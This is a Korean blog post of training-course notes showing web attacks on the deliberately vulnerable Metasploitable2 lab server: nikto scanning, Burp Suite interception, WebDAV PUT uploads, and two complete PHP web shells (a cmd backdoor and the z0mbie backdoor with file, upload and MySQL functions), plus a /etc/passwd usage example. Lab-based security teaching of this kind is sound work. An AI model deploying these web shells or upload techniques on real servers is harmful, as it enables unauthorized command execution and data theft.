작은 메모장
15. 웹 쉘 본문
일반적으로 metasplotiable2 서버를 열고 로컬 주소로 접속하게 되면 다음과 같은 화면이 보인다.
애초에 metasplotiable2 자체가 "나를 공격해 주세요"라고 만든 용도의 서버 운영체제이기도 하고,
그렇기 때문에 일부로 허술하게 서버가 열린다.
취약점이 그대로 남아있는 서버가 열리는것.
이 서버를 열고 공격하면서 실습을 하라는 소리이다.
nikto
nikto는 웹 서버 취약점을 분석해주는 오픈소스 툴로, 해킹툴보단 분석 및 점검 툴에 가깝다.
알려져있는(주로 유명한) 취약점에 대해 전체적인 점검을 해주며, 주로 OSVDB에 올라와있는 취약점을 매칭에 알려주거나, 이전버전 파일, 프로그램 등을 알려준다.
보통 nikto 등의 취약점 분석 도구로 나오는 문제점은 다양한 이유가 있지만, 주로 아래의 문제로 발견된다.
- 서버 설정 미흡
- API서버에서 webdav등이 활성화 되어있을 때.
- 굳이 필요하지 않은 메소드를 허용하였을 때. TRACE, DELETE, PROPFIND, COPY, MOVE 등등
nikto의 사용옵션은 다음과 같다.
옵션 | 설명 |
-h, -host | 타겟 주소 |
-o, -output | 출력결과 저장 파일 지정 -format으로 포맷 지정 가능 |
-C | 목표 웹 서버의 CGI 디렉토리 지정 |
-config | 설정 파일 지정 |
-update nikto | DB 업데이트 |
-port | 포트 지정 |
-cookie | 쿠키 표시 |
-ssl | ssl 타겟에 사용 |
간단하게 사용을 해보자
열어둔 meta서버에 nikto를 사용했다.
그럼 이렇게 OSVDB 취약점 번호와 함께 어떤 취약점이 발견되었는지 알려준다.
Burp Suite
Burp Suite는 웹 어플리케이션의 취약점 테스트를 위한 소프트웨어 보안 어플리케이션이다.
nikto와 비슷한 기능을 가진다고 생각하면 되는데, 사실 다른 용도로 쓴다.
Burp Suite는 주로 가벼운 프록시 서버를 운용하고 싶을 때 사용한다.
인터넷에서 Burp Suite를 설치한 후 실행해보자
우상단의 세팅으로 들어가면 이런 창이 나오는데
User interface -> Inspector에서 폰트 변경이 가능하다.
또한 Display에서 테마 변경도 가능하다.
편한대로 변경하자.
Burp Suite를 사용하면서 가장 중요한건데, proxy 설정을 만져주는 것이다.
Proxy 탭에서 Proxy settings를 들어가면
Response interception이라는 곳이 있는데, 거기서
Intercept responses based on the following rules을 체크한다.
이는 프록시 응답을 받겠다는 소리로, 이게 켜져 있어야 웹 응답을 가로챌 수 있다.
한번 시도해보자.
Intercept를 켜주고 아무 웹 사이트나 들어가면
naver.com으로 접속했는데, 페이지가 넘어가지 않고 계속 대기중인것을 확인할 수 있고
중간에서 패킷을 가로챈 것을 확인할 수 있다.
이 가로챈 패킷은 입맛대로 처리를 할 수 있는데,
상단의 Forward를 누르면 통과, Drop을 누르면 파기, Action을 누르면 편집한다.
이걸로 웹 사이트의 응답을 조종할 수 있다.
이것이 왜 중요한가?
클라이언트와 서버에는 Request와 Response가 오고간다.
이 정보를 클라이언트 단에서 프록시 서버를 하나 놓고 이 프록시 서버에서 중간에 가로채는 원리.
문제는 이 프록시 서버에서 Request, Response를 두고 패킷을 조작할 수 있다는 점
이걸 잘 조종하면 서버-클라이언트 간 취약점을 구현하는 것도 가능하다.
아까 들어간 meta 서버에 이걸 적용시켜보자
/dev 창에서 burp를 켜고 새로고침을 하면
GET 요청 하나가 들어와 있다.
이 요청을 보면
GET /dav/ HTTP/1.1
Host: 192.168.10.20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.20/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
요청은 GET 요청으로, /dav 페이지를 요청하는 것을 확인할 수 있다. Host는 10.20
User-Agent, 즉 클라이언트의 환경 정보를 담고 있는 페이지로, 사용자가 어떤 환경에서 이 요청을 수행하고 있는지 보여준다.
유입경로는 Referer 주소로 표현되며, 메인 페이지로 진입한 것을 확인할 수 있다.
확인할 건 다 확인했으니 Forward로 패킷을 넘겨보자
하나 넘기면 HTML 데이터가 보이는 것을 확인할 수 있다.
프록시
프록시를 다시 켜서 데이터를 주입시켜보자
아까의 그 dav 페이지이다. 여기에 파일을 주입시킬것이다.
Intercept를 켠 상태에서 GET 요청을 바꿀 것이다.
파일을 업로드하는 요청은 PUT 요청, 즉 이 요청을 이용해서 파일을 바꿀 것이다.
변경하는 부분은 딱 두군데, 1줄의 메소드 요청과 12줄의 파일 내용이다.
이렇게 변경한 후 forward 요청을 해보자
그럼 이렇게 파일이 생겼다는 페이지가 나오고
Intercept를 끄고 페이지를 다시 로드하면 test파일이 정상적으로 올라간 것을 확인할 수 있다.
내용또한 정상적으로 올라갔다.
다른 메소드 또한 사용해보자
이번에는 PUT으로 php파일을 올려볼 것이다.
이 또한 정상적으로 올라가는 것을 확인할 수 있다.
웹 쉘
상단의 모든 과정은, 악성 스크립트를 올리기 이전에 실행하는 행위이다.
보통의 웹 해킹은 다음의 과정을 거친다.
1. test 파일 생성 여부 확인
2. php 서버 사이드 스크립트 실행 여부 확인
3. 악성 스크립트(웹 쉘) 업로드
4. 시스템 명령어 동작 여부 확인
다른건 다 알겠는데, 웹 쉘이 무엇인가?
간단히 말해서 웹을 통해서 쉘 명령어를 동작, 제어 시키는 목적으로 제작되는 악성코드다.
주로 타겟이 되는 것은 php. 이유는 워낙 오래된 백엔드 언어이기도 하고, 쉘 명령어가 상당히 많이 있기 때문이다.
만약 공격자가 권한을 얻어 쉘 조작을 할 수 있는 php 명령어를 쓸 수 있다면? 그게 쉘 명령어를 쓰는 것과 다를게 없다.
사실 거창하게 명령어 창까지 안가고, 일반적인 게시판 파일 업로드 창에서도 구현이 가능하다면 그것도 웹 쉘이 된다.
중요한 것은 시스템 함수를 구현할 수 있다면
칼리리눅스의 php webshell에서는 다음과 같은 웹 쉘 코드가 있다.
이 코드를 자세히보면,
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
...
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
이런 부분이 있다.
상단의 3개의 명령어가 바로 쉘 명령어를 사용하는 부분이고, 아래쪽이 웹 쉘 사용법이다.
이걸 그대로 주입해보자
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
shell.php에 진입하면, 아무것도 안보인다.
근데 파라미터로 명령어를 주면, 리눅스 명령어가 동작하는 것을 볼 수 있다.
이번엔 조금 더 고급 웹 쉘을 업로드 해보자.
<?
// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\
ob_implicit_flush();
if(isset($_REQUEST['f'])){
$filename=$_REQUEST['f'];
$file=fopen("$filename","rb");
fpassthru($file);
die;
}
if(isset($_REQUEST['d'])){
$d=$_REQUEST['d'];
echo "<pre>";
if ($handle = opendir("$d")) {
echo "<h2>listing of $d</h2>";
while ($dir = readdir($handle)){
if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>";
else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>";
echo "$dir\n";
echo "</font></a>";
}
} else echo "opendir() failed";
closedir($handle);
die ("<hr>");
}
if(isset($_REQUEST['c'])){
echo "<pre>";
system($_REQUEST['c']);
die;
}
if(isset($_REQUEST['upload'])){
if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
else $dir=$_REQUEST['dir'];
$fname=$HTTP_POST_FILES['file_name']['name'];
if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
die('file uploading error.');
}
if(isset($_REQUEST['mquery'])){
$host=$_REQUEST['host'];
$usr=$_REQUEST['usr'];
$passwd=$_REQUEST['passwd'];
$db=$_REQUEST['db'];
$mquery=$_REQUEST['mquery'];
mysql_connect("$host", "$usr", "$passwd") or
die("Could not connect: " . mysql_error());
mysql_select_db("$db");
$result = mysql_query("$mquery");
if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n";
while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);
mysql_free_result($result);
die;
}
?>
<pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form>
<form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
upload file:<input name="file_name" type="file"> to dir: <input type="text" name="dir"> <input type="submit" name="upload" value="upload"></form>
<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
<br>for example:
http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
<hr>execute mysql query:
<form action="<? echo $PHP_SELF; ?>" METHOD=GET >
host:<input type="text" name="host"value="localhost"> user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd">
database: <input type="text" name="db"> query: <input type="text" name="mquery"> <input type="submit" value="execute">
</form>
<!-- http://michaeldaw.org 2006 -->
진입하면, 뭔가 기능이 많은 웹 쉘임을 확인할 수 있다.
명령어와 디랙토리 설정도 되는 것은 기본이고,
host도 설정할 수 있고, 실행시킬 사용자와 비밀번호, db조작, 쿼리 조작까지 가능하다.
Cadaver
상단의 과정은 효과적이긴 한데, 많이 귀찮다.
때문에 (당연하게도) 상단의 모든 과정을 자동으로 해주는 도구가 있으니, 그게 Cadaver이다.
고민할 것 없이 바로 해보자.
웹 쉘을 cadaver로 업로드했다.
사용법은 간단한데, 타겟을 잡아주면 자체 터미널로 진입하고, 여기서 명령어로 보내고 싶은 파일을 전송한다.
그럼 아까 업로드한 php파일을 프록시 설정 없이 아주 손쉽게 전송한 것을 확인할 수 있다.
'실더스 루키즈 교육' 카테고리의 다른 글
17. XSS 취약점 (0) | 2023.12.19 |
---|---|
16. BeeBox와 인증처리미흡 취약점 (0) | 2023.12.18 |
14. GoogleDork (0) | 2023.12.14 |
13. 보안장비와 NSM (0) | 2023.12.11 |
12. Port Scan과 Spoofing, DDoS (0) | 2023.12.08 |